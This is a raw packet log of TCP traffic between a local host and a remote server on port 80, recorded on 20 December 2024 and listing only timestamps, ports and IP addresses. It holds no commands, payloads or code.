Dec 20, 2024 17:43:12.295500040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.296283960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.296334028 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.297162056 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.297214985 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.297369003 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.297413111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.298959970 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.299029112 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.299177885 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.299225092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.300554037 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.300646067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.300707102 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.300749063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.302303076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.302357912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.302768946 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.302810907 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.303961039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.304011106 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.304104090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.304143906 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.305684090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.305741072 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.306113958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.306158066 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.307410002 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.307487011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.308998108 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.309057951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.309098005 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.309111118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.309138060 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.309159994 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.310774088 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.310826063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.310878992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.310920000 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.312966108 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.313023090 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.313118935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.313163042 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.314140081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.314183950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.314384937 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.314428091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.316055059 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.316113949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.316123009 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.316164970 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.317621946 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.317682981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.317883968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.317929983 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.319228888 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.319288015 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.319355011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.319410086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.320979118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.321036100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.321218967 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.321261883 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.322706938 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.322758913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.323107958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.323156118 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.324362993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.324409962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.324451923 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.324491024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.326036930 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.326101065 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.326180935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.326224089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.327769995 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.327826977 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.328893900 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.328963995 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.329477072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.329533100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.329618931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.329663038 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.331145048 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.331207037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.331376076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.331423998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.332818031 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.332879066 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.332952976 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.332995892 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.334552050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.334610939 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.334626913 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.334667921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.336262941 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.336323023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.336705923 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.336759090 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.337920904 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.338015079 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.338044882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.338113070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.437269926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.437346935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.437347889 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.437388897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.437824965 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.437870026 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.437922955 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.437967062 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.439081907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.439135075 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.439249992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.439290047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.440352917 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.440402985 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.440577984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.440615892 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.441607952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.441654921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.441692114 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.441732883 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.442893028 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.442945957 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.442974091 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.443015099 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.444065094 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.444109917 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.444189072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.444228888 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.445429087 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.445472956 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.445597887 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.445641041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.446496010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.446538925 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.446715117 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.446753979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.447700977 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.447747946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.448383093 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.448432922 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.449012995 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.449034929 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.449059963 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.449084997 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.450118065 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.450170994 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.450591087 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.450640917 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.451251984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.451309919 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.451447010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.451492071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.452481031 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.452534914 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.452651978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.452698946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.453814030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.453872919 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.453900099 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.453933954 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.455050945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.455089092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.455172062 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.455208063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.455946922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.455986023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.456022978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.456052065 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.457099915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.457142115 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.457287073 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.457321882 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.458101034 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.458139896 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.458178043 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.458214045 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.459237099 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.459279060 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.459347963 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.459542990 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.460355043 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.460391998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.460433960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.460467100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.461457968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.461507082 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.461570978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.461607933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.462568045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.462610960 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.462688923 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.462726116 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.463632107 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.463676929 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.463813066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.463850975 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.464752913 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.464797020 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.465002060 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.465039968 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.465874910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.465920925 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.466042042 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.466078043 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.466931105 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.466988087 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.467067957 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.467112064 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.468314886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.468367100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.468544960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.468590021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.469167948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.469216108 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.469572067 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.469613075 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.470257998 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.470299959 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.470377922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.470416069 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.471461058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.471538067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.471580029 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.471621037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.472490072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.472538948 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.472565889 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.472600937 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.473611116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.473661900 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.473721027 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.473761082 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.474731922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.474786997 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.474813938 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.474853039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.475783110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.475836039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.476011992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.476063967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.476881981 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.476938009 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.476972103 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.477013111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.477998972 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.478065968 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.478219986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.478262901 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.479087114 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.479146957 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.479424953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.479471922 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.480143070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.480195999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.480272055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.480314016 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.481242895 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.481302023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.481362104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.481403112 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.482418060 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.482472897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.482729912 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.482780933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.483442068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.483500004 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.483696938 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.483741999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.484555006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.484611034 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.484790087 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.484837055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.485686064 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.485738039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.485915899 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.485965967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.486849070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.486901045 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.486959934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.487004995 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.487886906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.487941980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.488115072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.488159895 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.489074945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.489129066 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.489670992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.489722967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.490073919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.490124941 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.490129948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.490173101 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.491157055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.491211891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.491691113 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.491738081 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.492301941 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.492352962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.492850065 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.492902040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.493397951 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.493448019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.493571997 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.493639946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.494594097 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.494657040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.495074034 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.495120049 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.495882034 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.495928049 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.496078014 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.496119022 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.496649027 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.496694088 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.629869938 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.629930973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.629973888 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.629973888 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.630368948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.630423069 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.630461931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.630505085 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.631469965 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.631520033 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.631850958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.631896019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.632404089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.632447958 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.632539988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.632581949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.633455992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.633502007 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.634206057 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.634258032 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.634552956 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.634563923 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.634594917 CET	49730	80	192.168.2.6	194.126.174.112
